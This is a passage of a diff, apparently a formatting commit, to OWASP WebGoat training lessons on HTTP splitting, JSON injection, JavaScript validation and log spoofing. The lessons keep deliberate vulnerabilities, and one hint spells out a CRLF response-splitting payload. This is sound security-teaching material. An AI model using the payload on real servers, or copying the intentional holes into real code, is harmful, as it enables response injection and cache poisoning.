return doHTTPSplitting(s);
}
protected Element doStage2(WebSession s) throws Exception
{
return doCachePoisining(s);
}
protected Element createAttackEnvironment(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
@ -173,10 +158,9 @@ public class HttpSplitting extends SequentialLessonAdapter
}
ec.addElement(new StringElement("Search by country : "));
lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""),
"UTF-8");
lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
//add the search by field
// add the search by field
Input input = new Input(Input.TEXT, LANGUAGE, lang.toString());
ec.addElement(input);
@ -187,43 +171,35 @@ public class HttpSplitting extends SequentialLessonAdapter
return ec;
}
protected Element doCachePoisining(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
try
{
s
.setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison"
s.setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison"
+ " the victim's cache. Type 'restart' in the input field if you wish to "
+ " to return to the HTTP Splitting lesson.<br><br>");
if (s.getParser().getRawParameter(LANGUAGE, "YOUR_NAME").equals(
"restart"))
if (s.getParser().getRawParameter(LANGUAGE, "YOUR_NAME").equals("restart"))
{
getLessonTracker(s).getLessonProperties().setProperty(STAGE,
"1");
getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
return (doHTTPSplitting(s));
}
ec.addElement(createAttackEnvironment(s));
String lang = URLDecoder.decode(s.getParser().getRawParameter(
LANGUAGE, ""), "UTF-8");
String fromRedirect = s.getParser()
.getStringParameter(REDIRECT, "");
String lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
String fromRedirect = s.getParser().getStringParameter(REDIRECT, "");
if (lang.length() != 0 && fromRedirect.length() != 0)
{
String lineSep = System.getProperty("line.separator");
String dateStr = lang.substring(lang.indexOf("Last-Modified:")
+ "Last-Modified:".length(), lang.indexOf(lineSep, lang
.indexOf("Last-Modified:")));
String dateStr = lang.substring(lang.indexOf("Last-Modified:") + "Last-Modified:".length(), lang
.indexOf(lineSep, lang.indexOf("Last-Modified:")));
if (dateStr.length() != 0)
{
Calendar cal = Calendar.getInstance();
DateFormat sdf = new SimpleDateFormat(
"EEE, dd MMM yyyy HH:mm:ss z", Locale.US);
DateFormat sdf = new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z", Locale.US);
if (sdf.parse(dateStr.trim()).after(cal.getTime()))
{
@ -231,29 +207,25 @@ public class HttpSplitting extends SequentialLessonAdapter
}
}
}
}
catch (Exception ex)
} catch (Exception ex)
{
ec.addElement(new P().addElement(ex.getMessage()));
}
return ec;
}
protected Category getDefaultCategory()
{
return Category.GENERAL;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Enter a language for the system to search by.");
hints.add("Use CR (%0d) and LF (%0a) for a new line");
hints
.add("The Content-Length: 0 will tell the server that the first request is over.");
hints.add("The Content-Length: 0 will tell the server that the first request is over.");
hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK");
hints
.add("Try: language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a&lt;html&gt;Insert undesireable content here&lt;/html&gt;");
@ -271,13 +243,11 @@ public class HttpSplitting extends SequentialLessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(20);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
@ -288,7 +258,6 @@ public class HttpSplitting extends SequentialLessonAdapter
return ("HTTP Splitting");
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);

View File

@ -1,7 +1,7 @@
package org.owasp.webgoat.lessons;
import org.owasp.webgoat.session.WebSession;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -13,37 +13,35 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.BR;
import java.io.PrintWriter;
import java.util.List;
import java.util.ArrayList;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -60,8 +58,8 @@ public class JSONInjection extends LessonAdapter
private final static String TRAVEL_TO = "travelTo";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);
public void handleRequest(WebSession s)
{
@ -71,35 +69,25 @@ public class JSONInjection extends LessonAdapter
if (s.getParser().getRawParameter("from", "").equals("ajax"))
{
String lineSep = System.getProperty("line.separator");
String jsonStr = "{"
+ lineSep
+ "\"From\": \"Boston\","
+ lineSep
+ "\"To\": \"Seattle\", "
+ lineSep
+ "\"flights\": ["
+ lineSep
+ "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"},"
+ lineSep
+ "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} "
+ lineSep + "]" + lineSep + "}";
String jsonStr = "{" + lineSep + "\"From\": \"Boston\"," + lineSep + "\"To\": \"Seattle\", " + lineSep
+ "\"flights\": [" + lineSep
+ "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"}," + lineSep
+ "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} " + lineSep + "]"
+ lineSep + "}";
s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse()
.getOutputStream());
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
out.print(jsonStr);
out.flush();
out.close();
return;
}
}
catch (Exception ex)
} catch (Exception ex)
{
ex.printStackTrace();
}
Form form = new Form(getFormAction(), Form.POST).setName("form")
.setEncType("");
Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
form.setOnSubmit("return check();");
form.addElement(createContent(s));
@ -108,11 +96,11 @@ public class JSONInjection extends LessonAdapter
}
/**
* Description of the Method
*
* @param s Current WebSession
* @param s
* Current WebSession
*/
protected Element createContent(WebSession s)
@ -135,7 +123,8 @@ public class JSONInjection extends LessonAdapter
+ lineSep
+ "if (toField.value.length < 3 || toField.value!='SEA') { return; }"
+ lineSep
+ "var url = '" + getLink()
+ "var url = '"
+ getLink()
+ "&from=ajax&"
+ TRAVEL_FROM
+ "=' + encodeURIComponent(fromField.value) +"
@ -210,12 +199,10 @@ public class JSONInjection extends LessonAdapter
+ " else if ( document.getElementById('radio1').checked )"
+ lineSep
+ " { document.getElementById('price2Submit').value = document.getElementById('priceID1').innerHTML; return true;}"
+ lineSep + " else " + lineSep
+ " { alert('Please choose one flight'); return false;}" + lineSep + "}"
+ lineSep + " else " + lineSep + " { alert('Please choose one flight'); return false;}" + lineSep + "}"
+ lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script));
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0)
.setWidth("90%").setAlign("center");
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
TR tr = new TR();
@ -266,8 +253,7 @@ public class JSONInjection extends LessonAdapter
}
else
{
s
.setMessage("You are close, try to set the price for the non-stop flight to be less than $600");
s.setMessage("You are close, try to set the price for the non-stop flight to be less than $600");
}
}
return ec;
@ -283,7 +269,6 @@ public class JSONInjection extends LessonAdapter
return Category.AJAX_SECURITY;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
@ -295,13 +280,11 @@ public class JSONInjection extends LessonAdapter
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -13,35 +13,33 @@ import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input;
import org.apache.ecs.html.P;
import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -51,12 +49,16 @@ import org.owasp.webgoat.session.WebSession;
public class JavaScriptValidation extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -68,15 +70,17 @@ public class JavaScriptValidation extends LessonAdapter
// Note: if you want to use the regex=new RegExp(\"" + regex + "\");" syntax
// you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one for JavaScript
// you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one
// for JavaScript
String regex1 = "^[a-z]{3}$";// any three lowercase letters
String regex2 = "^[0-9]{3}$";// any three digits
String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation
String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of numbers
String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of
// numbers
String regex5 = "^\\d{5}$";// simple zip code
String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four
String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";//US phone number with or without dashes
String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";// US phone number with or without dashes
Pattern pattern1 = Pattern.compile(regex1);
Pattern pattern2 = Pattern.compile(regex2);
Pattern pattern3 = Pattern.compile(regex3);
@ -85,68 +89,28 @@ public class JavaScriptValidation extends LessonAdapter
Pattern pattern6 = Pattern.compile(regex6);
Pattern pattern7 = Pattern.compile(regex7);
String lineSep = System.getProperty("line.separator");
String script = "<SCRIPT>"
+ lineSep
+ "regex1=/"
+ regex1
+ "/;"
+ lineSep
+ "regex2=/"
+ regex2
+ "/;"
+ lineSep
+ "regex3=/"
+ regex3
+ "/;"
+ lineSep
+ "regex4=/"
+ regex4
+ "/;"
+ lineSep
+ "regex5=/"
+ regex5
+ "/;"
+ lineSep
+ "regex6=/"
+ regex6
+ "/;"
+ lineSep
+ "regex7=/"
+ regex7
+ "/;"
+ lineSep
+ "function validate() { "
+ lineSep
+ "msg='JavaScript found form errors'; err=0; "
+ lineSep
+ "if (!regex1.test(document.form.field1.value)) {err+=1; msg+='\\n bad field1';}"
+ lineSep
+ "if (!regex2.test(document.form.field2.value)) {err+=1; msg+='\\n bad field2';}"
+ lineSep
+ "if (!regex3.test(document.form.field3.value)) {err+=1; msg+='\\n bad field3';}"
+ lineSep
+ "if (!regex4.test(document.form.field4.value)) {err+=1; msg+='\\n bad field4';}"
+ lineSep
+ "if (!regex5.test(document.form.field5.value)) {err+=1; msg+='\\n bad field5';}"
+ lineSep
+ "if (!regex6.test(document.form.field6.value)) {err+=1; msg+='\\n bad field6';}"
+ lineSep
+ "if (!regex7.test(document.form.field7.value)) {err+=1; msg+='\\n bad field7';}"
+ lineSep + "if ( err > 0 ) alert(msg);" + lineSep
+ "else document.form.submit();" + lineSep + "} " + lineSep
String script = "<SCRIPT>" + lineSep + "regex1=/" + regex1 + "/;" + lineSep + "regex2=/" + regex2 + "/;"
+ lineSep + "regex3=/" + regex3 + "/;" + lineSep + "regex4=/" + regex4 + "/;" + lineSep + "regex5=/"
+ regex5 + "/;" + lineSep + "regex6=/" + regex6 + "/;" + lineSep + "regex7=/" + regex7 + "/;" + lineSep
+ "function validate() { " + lineSep + "msg='JavaScript found form errors'; err=0; " + lineSep
+ "if (!regex1.test(document.form.field1.value)) {err+=1; msg+='\\n bad field1';}" + lineSep
+ "if (!regex2.test(document.form.field2.value)) {err+=1; msg+='\\n bad field2';}" + lineSep
+ "if (!regex3.test(document.form.field3.value)) {err+=1; msg+='\\n bad field3';}" + lineSep
+ "if (!regex4.test(document.form.field4.value)) {err+=1; msg+='\\n bad field4';}" + lineSep
+ "if (!regex5.test(document.form.field5.value)) {err+=1; msg+='\\n bad field5';}" + lineSep
+ "if (!regex6.test(document.form.field6.value)) {err+=1; msg+='\\n bad field6';}" + lineSep
+ "if (!regex7.test(document.form.field7.value)) {err+=1; msg+='\\n bad field7';}" + lineSep
+ "if ( err > 0 ) alert(msg);" + lineSep + "else document.form.submit();" + lineSep + "} " + lineSep
+ "</SCRIPT>" + lineSep;
try
{
String param1 = s.getParser().getRawParameter("field1", "abc");
String param2 = s.getParser().getRawParameter("field2", "123");
String param3 = s.getParser().getRawParameter("field3",
"abc 123 ABC");
String param3 = s.getParser().getRawParameter("field3", "abc 123 ABC");
String param4 = s.getParser().getRawParameter("field4", "seven");
String param5 = s.getParser().getRawParameter("field5", "90210");
String param6 = s.getParser().getRawParameter("field6",
"90210-1111");
String param7 = s.getParser().getRawParameter("field7",
"301-604-4882");
String param6 = s.getParser().getRawParameter("field6", "90210-1111");
String param7 = s.getParser().getRawParameter("field7", "301-604-4882");
ec.addElement(new StringElement(script));
TextArea input1 = new TextArea("field1", 1, 25).addElement(param1);
TextArea input2 = new TextArea("field2", 1, 25).addElement(param2);
@ -160,36 +124,29 @@ public class JavaScriptValidation extends LessonAdapter
b.setType(Input.BUTTON);
b.setValue("Submit");
b.addAttribute("onclick", "validate();");
ec.addElement(new Div().addElement(new StringElement(
"Field1: exactly three lowercase characters (" + regex1
+ ")")));
ec.addElement(new Div().addElement(new StringElement("Field1: exactly three lowercase characters ("
+ regex1 + ")")));
ec.addElement(new Div().addElement(input1));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field2: exactly three digits (" + regex2 + ")")));
ec.addElement(new Div().addElement(new StringElement("Field2: exactly three digits (" + regex2 + ")")));
ec.addElement(new Div().addElement(input2));
ec.addElement(new P());
ec.addElement(new Div()
.addElement(new StringElement(
"Field3: letters, numbers, and space only ("
+ regex3 + ")")));
ec.addElement(new Div().addElement(new StringElement("Field3: letters, numbers, and space only (" + regex3
+ ")")));
ec.addElement(new Div().addElement(input3));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field4: enumeration of numbers (" + regex4 + ")")));
ec.addElement(new Div().addElement(new StringElement("Field4: enumeration of numbers (" + regex4 + ")")));
ec.addElement(new Div().addElement(input4));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field5: simple zip code (" + regex5 + ")")));
ec.addElement(new Div().addElement(new StringElement("Field5: simple zip code (" + regex5 + ")")));
ec.addElement(new Div().addElement(input5));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field6: zip with optional dash four (" + regex6 + ")")));
ec.addElement(new Div()
.addElement(new StringElement("Field6: zip with optional dash four (" + regex6 + ")")));
ec.addElement(new Div().addElement(input6));
ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement(
"Field7: US phone number with or without dashes (" + regex7
+ ")")));
ec.addElement(new Div().addElement(new StringElement("Field7: US phone number with or without dashes ("
+ regex7 + ")")));
ec.addElement(new Div().addElement(input7));
ec.addElement(new P());
ec.addElement(b);
@ -262,7 +219,6 @@ public class JavaScriptValidation extends LessonAdapter
return (ec);
}
/**
* DOCUMENT ME!
*
@ -273,7 +229,6 @@ public class JavaScriptValidation extends LessonAdapter
return Category.UNVALIDATED_PARAMETERS;
}
/**
* Gets the hints attribute of the AccessControlScreen object
*
@ -284,15 +239,12 @@ public class JavaScriptValidation extends LessonAdapter
List<String> hints = new ArrayList<String>();
hints.add("The validation is happening in your browser.");
hints
.add("Try modifying the values with a proxy after they leave your browser");
hints
.add("Another way is to delete the JavaScript before you view the page.");
hints.add("Try modifying the values with a proxy after they leave your browser");
hints.add("Another way is to delete the JavaScript before you view the page.");
return hints;
}
/**
* Gets the instructions attribute of the WeakAccessControl object
*
@ -309,13 +261,11 @@ public class JavaScriptValidation extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AccessControlScreen object
*

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons;
import java.io.BufferedReader;
import java.io.FileReader;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -18,32 +18,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -53,11 +52,11 @@ import org.owasp.webgoat.session.WebSession;
public abstract class LessonAdapter extends AbstractLesson
{
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -67,9 +66,7 @@ public abstract class LessonAdapter extends AbstractLesson
ElementContainer ec = new ElementContainer();
ec
.addElement(new Center().addElement(new H3()
.addElement(new StringElement(
ec.addElement(new Center().addElement(new H3().addElement(new StringElement(
"Detailed Lesson Creation Instructions."))));
ec.addElement(new P());
ec
@ -80,8 +77,7 @@ public abstract class LessonAdapter extends AbstractLesson
+ "If you would prefer, send your lesson ideas to "
+ getWebgoatContext().getFeedbackAddress()));
String fileName = s.getContext().getRealPath(
"doc/New Lesson Instructions.txt");
String fileName = s.getContext().getRealPath("doc/New Lesson Instructions.txt");
if (fileName != null)
{
try
@ -94,8 +90,7 @@ public abstract class LessonAdapter extends AbstractLesson
pre.addElement(line + "\n");
}
ec.addElement(pre);
}
catch (Exception e)
} catch (Exception e)
{
e.printStackTrace();
}
@ -103,11 +98,10 @@ public abstract class LessonAdapter extends AbstractLesson
return (ec);
}
/**
* Gets the category attribute of the LessonAdapter object. The default category is "General" Only
* override this method if you wish to create a new category or if you wish this lesson to reside
* within a category other the "General"
* Gets the category attribute of the LessonAdapter object. The default category is "General"
* Only override this method if you wish to create a new category or if you wish this lesson to
* reside within a category other the "General"
*
* @return The category value
*/
@ -116,7 +110,6 @@ public abstract class LessonAdapter extends AbstractLesson
return Category.GENERAL;
}
protected boolean getDefaultHidden()
{
return false;
@ -124,13 +117,11 @@ public abstract class LessonAdapter extends AbstractLesson
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the hintCount attribute of the LessonAdapter object
*
@ -141,7 +132,6 @@ public abstract class LessonAdapter extends AbstractLesson
return getHints(s).size();
}
/**
* Fill in a minor hint that will help people who basically get it, but are stuck on somthing
* silly. Hints will be returned to the user in the order they appear below. The user must click
@ -157,13 +147,11 @@ public abstract class LessonAdapter extends AbstractLesson
return hints;
}
public String getHint(WebSession s, int hintNumber)
{
return (String) getHints(s).get(hintNumber);
}
/**
* Gets the credits attribute of the AbstractLesson object
*
@ -174,11 +162,10 @@ public abstract class LessonAdapter extends AbstractLesson
return new StringElement();
}
/**
* Gets the instructions attribute of the LessonAdapter object. Instructions will rendered as html
* and will appear below the control area and above the actual lesson area. Instructions should
* provide the user with the general setup and goal of the lesson.
* Gets the instructions attribute of the LessonAdapter object. Instructions will rendered as
* html and will appear below the control area and above the actual lesson area. Instructions
* should provide the user with the general setup and goal of the lesson.
*
* @return The instructions value
*/
@ -211,15 +198,14 @@ public abstract class LessonAdapter extends AbstractLesson
}
}
}
} catch (Exception e)
{
}
catch (Exception e)
{}
return buff.toString();
}
/**
* Fill in a descriptive title for this lesson. The title of the lesson. This will appear above
* the control area at the top of the page. This field will be rendered as html.
@ -231,48 +217,42 @@ public abstract class LessonAdapter extends AbstractLesson
return "Untitled Lesson " + getScreenId();
}
public String getCurrentAction(WebSession s)
{
return s.getLessonSession(this).getCurrentLessonScreen();
}
public void setCurrentAction(WebSession s, String lessonScreen)
{
s.getLessonSession(this).setCurrentLessonScreen(lessonScreen);
}
public Object getSessionAttribute(WebSession s, String key)
{
return s.getRequest().getSession().getAttribute(key);
}
public void setSessionAttribute(WebSession s, String key, Object value)
{
s.getRequest().getSession().setAttribute(key, value);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeSuccess(WebSession s)
{
getLessonTracker(s).setCompleted(true);
s
.setMessage("Congratulations. You have successfully completed this lesson.");
s.setMessage("Congratulations. You have successfully completed this lesson.");
return (null);
}
/**
* Gets the credits attribute of the AbstractLesson object
*

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.HtmlColor;
@ -18,32 +18,31 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -58,8 +57,8 @@ public class LogSpoofing extends LessonAdapter
private static final String PASSWORD = "password";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt(
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s)
{
@ -69,8 +68,7 @@ public class LogSpoofing extends LessonAdapter
try
{
Table t = new Table(0).setCellSpacing(0).setCellPadding(0)
.setBorder(0);
Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row1 = new TR();
TR row2 = new TR();
TR row3 = new TR();
@ -94,8 +92,7 @@ public class LogSpoofing extends LessonAdapter
ec = new ElementContainer();
ec.addElement(t);
inputUsername = new String(s.getParser().getRawParameter(USERNAME,
""));
inputUsername = new String(s.getParser().getRawParameter(USERNAME, ""));
if (inputUsername.length() != 0)
{
inputUsername = URLDecoder.decode(inputUsername, "UTF-8");
@ -103,12 +100,9 @@ public class LogSpoofing extends LessonAdapter
ec.addElement(new PRE(" "));
Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0)
.setBorder(0);
Table t2 = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
TR row4 = new TR();
row4.addElement(
new TD(new PRE("Login failed for username: "
+ inputUsername))).setBgColor(HtmlColor.GRAY);
row4.addElement(new TD(new PRE("Login failed for username: " + inputUsername))).setBgColor(HtmlColor.GRAY);
t2.addElement(row4);
@ -121,8 +115,7 @@ public class LogSpoofing extends LessonAdapter
{
makeSuccess(s);
}
}
catch (UnsupportedEncodingException e)
} catch (UnsupportedEncodingException e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -132,13 +125,11 @@ public class LogSpoofing extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(72);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
@Override
protected List<String> getHints(WebSession s)
{
@ -152,21 +143,18 @@ public class LogSpoofing extends LessonAdapter
return hints;
}
@Override
public String getTitle()
{
return "Log Spoofing";
}
@Override
protected Category getDefaultCategory()
{
return Category.INJECTION;
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);

View File

@ -1,35 +1,35 @@
package org.owasp.webgoat.lessons;
import org.apache.ecs.Element;
import org.apache.ecs.StringElement;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
